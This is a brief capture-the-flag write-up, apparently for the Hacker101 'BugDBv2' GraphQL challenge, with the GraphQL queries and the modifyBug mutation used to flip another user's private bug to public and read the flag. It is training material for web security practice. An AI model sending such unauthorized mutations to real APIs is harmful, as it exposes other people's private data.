H101 - BugDBv2
H101 - BugDBv2
Skills: Web, GraphQL
Difficulty: Easy
Steps
- Look at the schema docs like usual
- Let's query all bugs first
- My assumption here is that I'm going to have to make a mutation in a later step but I'm not sure when. As of now we only see 1 bug
- Run a query with all bugs and all users. I notice that there are 2 users but only 1 bug so gotta explore more.
- The users use to show the bugs...ok let's look at the hints
- ok so here is what I know: There is a victim bug, victim id is 2, the flag is in the text
- I played around with mutation and got an ok changing both to id 1 & 2 not private
- Run the all bugs query again
- Flag found
{
allBugs{
id,
reporter {
username
},
text,
private
},
allUsers{
edges{
node{
id,
username
}
}
}
}
mutation{
modifyBug(id: 2, private: false){
ok
bug{
id,
text,
reporter{
username
}
}
}
}
{
allBugs{
id,
text,
private,
reporter{
username
}
}
}